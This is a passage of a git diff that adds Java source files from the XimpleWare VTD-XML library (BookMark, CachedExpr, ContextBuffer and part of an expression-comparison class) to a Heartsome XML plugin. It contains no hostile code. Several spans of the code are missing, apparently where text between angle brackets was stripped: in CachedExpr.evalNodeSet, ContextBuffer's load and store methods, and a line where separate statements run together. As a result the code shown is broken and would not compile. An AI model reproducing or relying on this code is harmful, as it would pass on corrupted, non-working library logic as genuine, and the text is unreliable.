if (i1==-1 && s.length()==0) + //return true; + if (i1 != -1) { + boolean b = compareVString1(i1,vn,s,op); + if (b){ + left.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return b; + } + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + left.reset(vn); + return false; //compareEmptyNodeSet(op, s); + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + + final private boolean compareEmptyNodeSet(int op, String s){ + if (op == NE ){ + if (s.length()==0) { + return false; + } else + return true; + }else{ + if (s.length()==0) { + return true; + } else + return false; + } + } + final private boolean compStringNodeSet(Expr left, Expr right, VTDNav vn,int op){ + int i, i1 = 0, stackSize; + String s; + try { + s = left.evalString(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = right.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1 != -1){ + boolean b = compareVString2(i1,vn,s,op); + if (b){ + right.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return b; + } + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + return false; //compareEmptyNodeSet(op, s); + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + + final private boolean compNumbers(double d1, double d2, int op) { + switch (op) { + case LE: + return d1 <= d2; + case GE: + return d1 >= d2; + case LT: + return d1 < d2; + case GT: + return d1 > d2; + } + return false; + } + // this function computes the boolean when one expression is node set + // the other is numerical + final private boolean compNumericalNodeSet(Expr left, Expr right, VTDNav vn, int op ){ + int i, i1 = 0, stackSize; + double d; + try { + d = left.evalNumber(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = right.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1!=-1 && compareVNumber1(i1,vn,d,op)){ + right.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return true; + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + return false; + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + final private boolean compNodeSetNumerical(Expr left, Expr right, VTDNav vn, int op ){ + int i,i1 = 0, stackSize; + double d; + try { + d = right.evalNumber(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = left.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1!=-1 && compareVNumber2(i1,vn,d,op)){ + left.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return true; + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + left.reset(vn); + return false; + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + + final private int getStringVal(VTDNav vn,int i){ + int i1,t = vn.getTokenType(i); + if (t == VTDNav.TOKEN_STARTING_TAG){ + i1 = vn.getText(); + return i1; + } + else if (t == VTDNav.TOKEN_ATTR_NAME + || t == VTDNav.TOKEN_ATTR_NS || t==VTDNav.TOKEN_PI_NAME) + return i+1; + else + return i; + } + + final private boolean compareVNumber1(int k, VTDNav vn, double d, int op) + throws NavException { + double d1 = vn.parseDouble(k); + switch (op){ + case EQ: + return d == d1; + case NE: + return d != d1; + case GE: + return d >= d1; + case LE: + return d <= d1; + case GT: + return d > d1; + default: + return d < d1; + } + } + + final private boolean compareVString1(int k, VTDNav vn, String s, int op) + throws NavException { + int i = vn.compareTokenString(k, s); + switch (i) { + case -1: + if (op == NE || op == LT || op == LE) { + return true; + } + break; + case 0: + if (op == EQ || op == LE || op == GE) { + return true; + } + break; + case 1: + if (op == NE || op == GE || op == GT) { + return true; + } + } + return false; + } + final private boolean compareVString2(int k, VTDNav vn, String s, int op) + throws NavException { + int i = vn.compareTokenString(k, s); + switch(i){ + case -1: + if (op== NE || op == GT || op == GE){ + return true; + } + break; + case 0: + if (op==EQ || op == LE || op == GE ){ + return true; + } + break; + case 1: + if (op == NE || op==LE || op == LT ){ + return true; + } + } + return false; + } + + final private boolean compareVNumber2(int k, VTDNav vn, double d, int op) + throws NavException { + double d1 = vn.parseDouble(k); + switch (op){ + case EQ: + return d1 == d; + case NE: + return d1 != d; + case GE: + return d1 >= d; + case LE: + return d1 <= d; + case GT: + return d1 > d; + default: + return d1 < d; + } + } + final private boolean compareVV(int k, VTDNav vn, int j,int op) + throws NavException { + int i = vn.compareTokens(k, vn, j); + switch(i){ + case 1: + if (op == NE || op==GE || op == GT ){ + return true; + } + break; + case 0: + if (op==EQ || op == LE || op == GE ){ + return true; + } + break; + case -1: + if (op== NE || op == LT || op == LE){ + return true; + } + } + return false; + } + + // this method compare node set with another node set + final private boolean compNodeSetNodeSet(Expr left, Expr right, VTDNav vn, int op){ + int i,i1,stackSize,s1; + try { + if (fib1 == null) + fib1 = new FastIntBuffer(BUF_SZ_EXP); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = left.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1 != -1) + fib1.append(i1); + } + left.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = right.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1 != -1){ + s1 = fib1.size; + for (int k = 0; k < s1; k++) { + boolean b = compareVV(fib1.intAt(k),vn,i1,op); + if (b){ + fib1.clear(); + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + return true; + } + } + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + fib1.clear(); + return false; + } catch (Exception e) { + fib1.clear(); + throw new RuntimeException("Undefined behavior"); + } + } + final public int adjust(int n){ + int i = left.adjust(n); + int j = right.adjust(n); + if (i>j)return i; else return j; + } + + final public boolean isFinal(){ + return left.isFinal() && right.isFinal(); + } + + final public void markCacheable(){ + left.markCacheable(); + right.markCacheable(); + } + + final public void markCacheable2(){ + if (left.isFinal() && left.isNodeSet()){ + CachedExpr ce = new CachedExpr(left); + left = ce; + } + left.markCacheable2(); + if (right.isFinal() && right.isNodeSet()){ + CachedExpr ce = new CachedExpr(right); + right = ce; + } + right.markCacheable2(); + } + + final public void clearCache(){ + left.clearCache(); + right.clearCache(); + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/BookMark.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/BookMark.java new file mode 100644 index 0000000..b4ee5c6 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/BookMark.java @@ -0,0 +1,325 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +/* BookMark is based on (and inspired by) the concept and + * implementation contributed by Rodrigo Cunha. It corresponds + * to a single node position of VTDNav's cursor. + * + * setCursorPosition(VTDNav vn) sets the node position of vn. + * setCursorPosition() sets the node position of the BookMark object's embeddd + * VTDNav object + * + * recordCursorPosition(VTDNav vn) records the node position of the VTDNav + * Object. + * + * recordCursorPosition() records the node position of the BookMark object's + * embedded VTDNav object + * + * BookMark(VTDNav vn) implicitly sets the node position for + * the created BookMark instance. + */ +package com.ximpleware; + +/** + * Bookmark is a single instance of a node position. + * You can save the cursor's position into a bookMark instance + * You can also point the cursor to the node position of previously + * saved bookMark instance. + * + */ +public class BookMark { + VTDNav vn1; // the reference to the corresponding VTDNav object + int ba[]; + /** + * Constructor for BookMark + * Take no argument + * + */ + public BookMark(){ + ba = null; + vn1 = null; + } + + /** + * separate a bookMark object apart from its embedded + * VTDNav instance + * + */ + final public void unbind(){ + vn1 = null; + } + + /** + * bind a BookMark object to a VTDNav object + * the cursor position is set to an invalid state + * @param vn + * + */ + public void bind(VTDNav vn){ + if (vn==null) + throw new IllegalArgumentException("vn can't be null"); + vn1 = vn; + if (vn.shallowDepth){ + if (ba == null || vn.nestingLevel+8 != ba.length) + ba = new int[vn.nestingLevel + 8]; + } + else { + if (ba == null || vn.nestingLevel+14 != ba.length) + ba = new int[vn.nestingLevel + 14]; + } + ba[0]= -2 ; // this would never happen in a VTDNav obj's context + } + + /** + * This method returns the embedded VTDNav Object + * @return VTDNav + * + */ + final public VTDNav getNav(){ + return vn1; + } + + /** + * BookMark constructor with an instance of vn + * as input + * @param vn + */ + public BookMark(VTDNav vn){ + bind(vn); + recordCursorPosition(vn); + } + + /** + * set cursor position + * This method can only set the cursor position + * of an VTDNav object identical to its internal copy + * @param vn + * @return + * + */ + public boolean setCursorPosition(VTDNav vn){ + if (vn1 != vn || ba == null || ba[0] == -2) + return false; + for (int i = 0; i < vn.nestingLevel; i++) { + vn.context[i] = ba[i]; + } + if (vn.shallowDepth) { + vn.l1index = ba[vn.nestingLevel]; + vn.l2index = ba[vn.nestingLevel + 1]; + vn.l3index = ba[vn.nestingLevel + 2]; + vn.l2lower = ba[vn.nestingLevel + 3]; + vn.l2upper = ba[vn.nestingLevel + 4]; + vn.l3lower = ba[vn.nestingLevel + 5]; + vn.l3upper = ba[vn.nestingLevel + 6]; + + if (ba[vn.nestingLevel + 7] < 0) { + vn.atTerminal = true; + } else + vn.atTerminal = false; + + vn.LN = ba[vn.nestingLevel + 7] & 0x7fffffff; + }else{ + VTDNav_L5 vnl = (VTDNav_L5)vn; + vnl.l1index = ba[vn.nestingLevel]; + vnl.l2index = ba[vn.nestingLevel + 1]; + vnl.l3index = ba[vn.nestingLevel + 2]; + vnl.l4index = ba[vn.nestingLevel + 3]; + vnl.l5index = ba[vn.nestingLevel + 4]; + vnl.l2lower = ba[vn.nestingLevel + 5]; + vnl.l2upper = ba[vn.nestingLevel + 6]; + vnl.l3lower = ba[vn.nestingLevel + 7]; + vnl.l3upper = ba[vn.nestingLevel + 8]; + vnl.l4lower = ba[vn.nestingLevel + 9]; + vnl.l4upper = ba[vn.nestingLevel + 10] ; + vnl.l5lower = ba[vn.nestingLevel + 11] ; + vnl.l5upper = ba[vn.nestingLevel + 12]; + if (ba[vn.nestingLevel+13] < 0){ + vn.atTerminal = true; + } else + vn.atTerminal = false; + + vn.LN = ba[vn.nestingLevel+13] & 0x7fffffff; + } + return true; + } + + /** + * Set the cursor position of VTDNav object corresponding to the internal reference + * position of the embedded VTDNav object + * @return + * + */ + final public boolean setCursorPosition(){ + return setCursorPosition(vn1); + } + /** + * Record the cursor position + * This method is implemented to be lenient on loading in + * that it can load nodes from any VTDNav object + * if vn is null, return false + * + * @param vn + * @return + * + */ + public boolean recordCursorPosition(VTDNav vn){ + if (vn == null) + return false; + if (vn== vn1){ + + }else { + bind(vn); + } + for (int i = 0; i < vn.nestingLevel; i++) { + ba[i] = vn1.context[i]; + } + if (vn.shallowDepth) { + ba[vn.nestingLevel] = vn.l1index; + ba[vn.nestingLevel + 1] = vn.l2index; + ba[vn.nestingLevel + 2] = vn.l3index; + ba[vn.nestingLevel + 3] = vn.l2lower; + ba[vn.nestingLevel + 4] = vn.l2upper; + ba[vn.nestingLevel + 5] = vn.l3lower; + ba[vn.nestingLevel + 6] = vn.l3upper; + // ba[vn.nestingLevel + 7]=(vn.atTerminal == true)?1:0; + ba[vn.nestingLevel + 7] = (vn.atTerminal == true) ? (vn.LN | 0x80000000) + : vn.LN; + }else{ + VTDNav_L5 vnl = (VTDNav_L5) vn; + ba[vn.nestingLevel]= vnl.l1index ; + ba[vn.nestingLevel + 1]= vnl.l2index ; + ba[vn.nestingLevel + 2]= vnl.l3index ; + ba[vn.nestingLevel + 3]= vnl.l4index ; + ba[vn.nestingLevel + 4]= vnl.l5index ; + ba[vn.nestingLevel + 5]= vnl.l2lower ; + ba[vn.nestingLevel + 6]= vnl.l2upper ; + ba[vn.nestingLevel + 7]= vnl.l3lower ; + ba[vn.nestingLevel + 8]= vnl.l3upper ; + ba[vn.nestingLevel + 9]= vnl.l4lower ; + ba[vn.nestingLevel + 10]= vnl.l4upper ; + ba[vn.nestingLevel + 11]= vnl.l5lower ; + ba[vn.nestingLevel + 12]= vnl.l5upper ; + //ba[vn.nestingLevel + 7]=(vn.atTerminal == true)?1:0; + ba[vn.nestingLevel + 13]= + (vn.atTerminal == true)? + (vn.LN | 0x80000000) : vn.LN ; + } + return true; + } + /** + * Record cursor position of the VTDNav object as embedded in the + * bookmark + * + * @return + * + */ + final public boolean recordCursorPosition(){ + return recordCursorPosition(vn1); + } + + /** + * Compare the bookmarks to ensure they represent the same + * node in the same VTDnav instance + * @param bm2 + * @return + */ + public final boolean deepEquals(BookMark bm2) { + if (bm2.vn1 == this.vn1){ + if (bm2.ba[bm2.ba[0]]==this.ba[this.ba[0]]){ + if (vn1.shallowDepth){ + if (this.ba[this.vn1.nestingLevel+7] < 0){ + if (this.ba[this.vn1.nestingLevel+7] + != bm2.ba[this.vn1.nestingLevel+7]) + return false; + } + }else{ + if (this.ba[this.vn1.nestingLevel+13] < 0){ + if (this.ba[this.vn1.nestingLevel+13] + != bm2.ba[this.vn1.nestingLevel+13]) + return false; + } + } + return true; + } + } + return false; + } + + /** + * Compare the bookmarks to ensure they represent the same + * node in the same VTDnav instance + * @param bm2 + * @return + */ + public final boolean equals(BookMark bm2) { + if (this == bm2) + return true; + return deepEquals(bm2); + } + + /** + * Compare two bookmarks to ensure they represent the same + * node in the same VTDnav instance + */ + public final boolean equals(Object obj) { + if (this == obj) + return true; + if (!(obj instanceof BookMark)) + return false; + return deepEquals((BookMark) obj); + } + + /** + * Returns the hash code which is a unique integer for every node + */ + public final int hashCode(){ + if (ba == null || vn1==null || ba[0]==-2) + return -2; + if (vn1.atTerminal) + return vn1.LN; + if (ba[0]==1) + return vn1.rootIndex; + return ba[ba[0]]; + } + + /** + * Compare the node positions of two bookMarks + * @param bm1 + * @return + */ + public boolean compare(BookMark bm1){ + + /*for (int i = 0; i < vn1.nestingLevel; i++) { + ba[i] = bm1.ba[i]; + } + if (vn1.getCurrentDepth()>)*/ + if (vn1.shallowDepth) { + for (int i = 0; i < vn1.nestingLevel + 7; i++) { + if (ba[i] != bm1.ba[i]) + return false; + } + }else { + for (int i = 0; i < vn1.nestingLevel + 14; i++) { + if (ba[i] != bm1.ba[i]) + return false; + } + } + + return true; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/CachedExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/CachedExpr.java new file mode 100644 index 0000000..b8d7753 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/CachedExpr.java @@ -0,0 +1,200 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + + +package com.ximpleware; + +public class CachedExpr extends Expr { + Expr e; + boolean cached; + boolean eb; + double en; + String es; + FastIntBuffer ens; + int count; + VTDNav vn1; + + public CachedExpr(Expr e1){ + e=e1; + cached = false; + ens=null; + count=0; + vn1=null; + } + @Override + public boolean evalBoolean(VTDNav vn) { + // TODO Auto-generated method stub + if (cached){ + return eb; + }else{ + eb = e.evalBoolean(vn); + return eb; + } + } + + @Override + public double evalNumber(VTDNav vn) { + // TODO Auto-generated method stub + if (cached){ + return en; + }else{ + cached = true; + en = e.evalNumber(vn); + return en; + } + } + + @Override + public int evalNodeSet(VTDNav vn) throws XPathEvalException, NavException { + // TODO Auto-generated method stub + int i=-1; + if (cached){ + if (count0){ + i=ens.intAt(count);//count should be zero + vn.recoverNode(i); + count++; + return i; + }else + return -1; + } + } + + + public String evalString(VTDNav vn) { + if (cached){ + return es; + }else{ + cached = true; + es = e.evalString(vn); + return es; + } + } + + + public void reset(VTDNav vn) { + count=0; + if (e!=null && vn!=null) + e.reset(vn); + /*if (vn1!=vn){ + cached = false; + if (ens!=null) + ens.clear(); + e.reset(vn); + }*/ + // TODO Auto-generated method stub + } + + @Override + public String toString() { + // TODO Auto-generated method stub + return "cached("+e.toString()+")"; + } + + @Override + public boolean isNumerical() { + // TODO Auto-generated method stub + return e.isNumerical(); + } + + @Override + public boolean isNodeSet() { + // TODO Auto-generated method stub + return e.isNodeSet(); + } + + @Override + public boolean isString() { + // TODO Auto-generated method stub + return e.isString(); + } + + @Override + public boolean isBoolean() { + // TODO Auto-generated method stub + return e.isBoolean(); + } + + @Override + public boolean requireContextSize() { + // TODO Auto-generated method stub + return e.requireContextSize(); + } + + @Override + public void setContextSize(int size) { + // TODO Auto-generated method stub + e.setContextSize(size); + } + + @Override + public void setPosition(int pos) { + // TODO Auto-generated method stub + e.setPosition(pos); + } + + @Override + public int adjust(int n) { + // TODO Auto-generated method stub + return e.adjust(n); + } + + @Override + public boolean isFinal() { + // TODO Auto-generated method stub + return e.isFinal(); + } + + + public void markCacheable() { + // TODO Auto-generated method stub + e.markCacheable(); + } + + @Override + public void markCacheable2() { + // TODO Auto-generated method stub + e.markCacheable2(); + } + + public void clearCache(){ + cached = false; + if (ens!=null) + ens.clear(); + e.clearCache(); + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/ContextBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/ContextBuffer.java new file mode 100644 index 0000000..65bb8c4 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/ContextBuffer.java @@ -0,0 +1,364 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +//import java.lang.NullPointerException; +import java.lang.IllegalArgumentException; +import java.util.ArrayList; +//import com.ximpleware.NavException; + +/** + * This class is used as the global stack in VTDNav class. + * The VTDNav object instantiates a context Buffer object, then everytime + * load/store is called, current context information gets pushed/popped to/from the + * ContextBuffer. + * Creation date: (11/16/03 4:30:45 PM) + */ +public class ContextBuffer{ + private arrayList bufferArrayList; + private int capacity; + private int pageSize; + protected int size; + private int incSize; + private int n; // for fast divide + private int r; // mask for remainder +/** + * ContextBuffer constructor comment. + * inc is the # of int to be pushed/pop to/from the underlying storage + * @param i int + */ +public ContextBuffer(int i) { + super(); + pageSize =1024; + n = 10; //1<<10 == 1024 + r = pageSize - 1; + incSize = i; + if (incSize<0) + throw new IllegalArgumentException(); + bufferArrayList = new arrayList(); +} +/** + * ContextBuffer constructor comment. + * incSize is the # of int to be pushed/pop to/from the underlying storage + * Creation date: (11/16/03 8:02:21 PM) + * @param p int (pageSize equals (1<> n); + int last_index = ((startingOffset + len) >>n); + if (((startingOffset + len)& r)== 0) { + last_index--; + } + + if (first_index == last_index) { + // to see if there is a need to go across buffer boundry + System.arraycopy( + (int[]) (bufferArrayList.get(first_index)), + //startingOffset % pageSize, + startingOffset & r, + output, + 0, + len); + } else { + int int_array_offset = 0; + for (int i = first_index; i <= last_index; i++) { + int[] currentChunk = (int[]) bufferArrayList.get(i); + if (i == first_index) // first section + { + System.arraycopy( + currentChunk, + //startingOffset % pageSize + startingOffset & r, + output, + 0, + // pageSize - (startingOffset % pageSize)); + pageSize - (startingOffset & r)); + //int_array_offset += pageSize - (startingOffset) % pageSize; + int_array_offset += pageSize - (startingOffset &r); + } else if (i == last_index) // last sections + { + System.arraycopy( + currentChunk, + 0, + output, + int_array_offset, + len - int_array_offset); + + } else { + System.arraycopy(currentChunk, 0, output, int_array_offset, pageSize); + int_array_offset += pageSize; + } + } + } + + size -= incSize; + return true; +} +/** + * Test the load and store functions. + * Creation date: (11/19/03 3:51:17 PM) + * @param args java.lang.String[] + */ +public static void main(String[] args) { + try { + int[] ia = new int[18]; + + ContextBuffer cb = new ContextBuffer(18); + for (int i = 0; i < 57; i++) { + for (int j = 0; j < 17; j++) { + ia[j] = i; + } + ia[17] = -1; + cb.store(ia); + } + //cb.store(ia); + for (int i = 56; i >= 0; i--) { + cb.load(ia); + System.out.println(""+ia[0]); + if (ia[17]!=-1) + System.out.println("store error "+i+ " "+17+" "+ia[17]); + for (int j = 16; j >= 0; j--) { + if (ia[j] != i) { + System.out.println(" store error " + i + " " + j + " " + ia[j]); + } + } + } + System.out.println("cb.clear()"); + cb.clear(); + + for (int i = 0; i < 157; i++) { + for (int j = 0; j < 18; j++) { + ia[j] = i; + } + cb.store(ia); + } + //cb.store(ia); + for (int i = 156; i >= 0; i--) { + cb.load(ia); + System.out.println(""+ia[0]); + for (int j = 17; j >= 0; j--) { + if (ia[j] != i) { + System.out.println(" store error " + i + " " + j + " " + ia[j]); + } + } + } + cb.clear(); + for (int i = 0; i < 257; i++) { + for (int j = 0; j < 18; j++) { + ia[j] = i; + } + cb.store(ia); + } + //cb.store(ia); + for (int i = 256; i >= 0; i--) { + cb.load(ia); + System.out.println(""+ia[0]); + for (int j = 17; j >= 0; j--) { + if (ia[j] != i) { + System.out.println(" store error " + i + " " + j + " " + ia[j]); + } + } + } + + System.out.println("success"); + + System.out.println("test fastIntBuffer"); + ia = new int[1000000]; + for (int k=0;k<1000000;k++){ + ia[k]= k; + } + FastIntBuffer fib = new FastIntBuffer(13); + //for(int i=0;i<10;i++){ + fib.append(ia); + //} + fib.clear(); + fib.append(ia); + //for(int i=0;i<10;i++){ + // fib.append(ia); + //} + int ib[] = fib.toIntArray(); + + for (int i = 0;i<1000000;i++){ + if (ib[i]!=i){ + System.out.println("error occurred at "+i ); + //break; + } + } + System.out.println("test fastLongBuffer"); + long[] la = new long[1000000]; + for (int k=0;k<1000000;k++){ + la[k]= k; + } + FastLongBuffer flb = new FastLongBuffer(14); + flb.append(la); + flb.clear(); + flb.append(la); + long lb[] = flb.toLongArray(); + for (int i = 0;i<1000000;i++){ + if (lb[i]!=i){ + System.out.println("error occurred at "+i); + } + } + System.out.println("success"); + } catch (Exception e) { + e.printStackTrace(); + System.out.println(" exception caught "); + } +} + +/** + * Set the context buffer size to zero + * capacity untouched + */ +public void clear(){ + size = 0; +} +/** + * Push the array content on to the stack. + * Creation date: (11/17/03 1:06:43 AM) + * @param input int[] + */ +public void store(int[] input){ + + if (input == null) { + throw new IllegalArgumentException("context buffer can't store a null pointer"); + } + + //if (input.length != incSize) { + // throw a derivative of runtime exceptions + // throw new NavException("Store: Input size doesn't match increment size"); + //} + + // no additional buffer space needed + int lastBufferIndex; + int[] lastBuffer; + + if (bufferArrayList.size() == 0) { + lastBuffer = new int[pageSize]; + bufferArrayList.add(lastBuffer); + lastBufferIndex = 0; + capacity = pageSize; + } else { + lastBufferIndex = Math.min((size>>n),//+(((size&r)==0)? 0:1), + bufferArrayList.size() - 1); + lastBuffer = (int[]) bufferArrayList.get(lastBufferIndex); + } + + + if ((this.size + input.length) < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + + //System.arraycopy(input, 0, lastBuffer, size % pageSize, input.length); + if (this.size + input.length< ((lastBufferIndex+1)<> n; + int z; + for (z=1;z<=k;z++){ + System.arraycopy(input,offset, + (int[]) bufferArrayList.get(lastBufferIndex+z), 0, pageSize); + offset += pageSize; + } + // copy the last part + System.arraycopy(input,offset,(int[]) bufferArrayList.get(lastBufferIndex+z), 0, l & r); + } + size += input.length; + return; + //System.out.println(" --+++ buffer size "+size); + //size += input.length; + } else // new buffers needed + { + + // compute the number of additional buffers needed + int k = + //((int) ((input.length + size) / pageSize)) + ((input.length + size) >>n) + //+ (((input.length + size) % pageSize) > 0 ? 1 : 0) + + (((input.length + size) & r ) > 0 ? 1 : 0) + - (capacity >> n); + // create these buffers + // add to bufferArrayList + //System.arraycopy(input, 0, lastBuffer, size % pageSize, capacity - size); + System.arraycopy(input, 0, lastBuffer, size & r, capacity - size); + + for (int i = 0; i < k; i++) { + int[] newBuffer = new int[pageSize]; + if (i < k - 1) { + // full copy + System.arraycopy(input, pageSize * i + capacity - size, newBuffer, 0, pageSize); + } else { + // last page + System.arraycopy( + input, + pageSize * i + capacity - size, + newBuffer, + 0, + (input.length + size) - pageSize * i - capacity); + } + bufferArrayList.add(newBuffer); + } + // update length + size += input.length; + // update capacity + capacity += (k <>32); + int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + System.arraycopy(xml,os,ba,0,len); + return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + System.arraycopy(xml,os,ba,0,temp); + + //namespace compensation + os1 += temp; + + int tos =0,tlen=0; + for (int i = 0; i < fib.size(); i++) { + System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + System.arraycopy(ws,0,ba,os1,2); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + // write a 0 and = + System.arraycopy(ws,2,ba,os1,2); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + break; + case VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + System.arraycopy(ws,1,ba,os1,2); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + // write a = and 0 + System.arraycopy(ws,3,ba,os1,2); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + break; + default: + // write a ws + System.arraycopy(ws, 1, ba, os1, 1); + os1 ++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + System.arraycopy(xml, tos, ba, os1, tlen); + os1 +=tlen; + // write a = + System.arraycopy(ws, 3, ba, os1, 1); + + os1 ++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1 ; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + System.arraycopy(xml, tos, ba, os1, tlen); + os1 +=tlen; + } + } + //System.out.println(new String(ba)); + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + System.arraycopy(xml, os + temp, ba, os1, len - temp); + //System.out.println(new String(ba)); + return ba; + } + + /** + * getSize gets the fragment with ns compensation + * @return + * + */ + public final int getSize(){ + //int encoding = vn.encoding; + int len = (int) (l >> 32); + if (stLen != 0) + for (int i = 0; i < fib.size(); i++) { + int k = fib.intAt(i); + len += (vn.getTokenLength(k) & 0xffff) + + vn.getTokenLength(k + 1) + 4; + } + return len; + } + + /** + * + * + * + */ + public final int writeToByteArray(byte[] ba, int offset){ + return 0; + } + + /** + * Write ns compensated fragments (bytes in original encoding format) to outputstream + * @param ost + * @throws IOException + * + */ + public final void writeToOutputStream(OutputStream ost) throws IOException{ + int os = (int)l; + int len = (int)(l>>32); + //int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + //System.arraycopy(xml,os,ba,0,len); + ost.write(xml,os,len); + //return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + ost.write(xml,os,temp); + //System.arraycopy(xml,os,ba,0,temp); + + //namespace compensation + //os1 += temp; + + int tos =0,tlen=0; + for (int i = 0; i < fib.size(); i++) { + System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + //System.arraycopy(ws,0,ba,os1,2); + ost.write(ws,0,2); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + // write a 0 and = + //System.arraycopy(ws,2,ba,os1,2); + ost.write(ws,2,2); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + break; + case 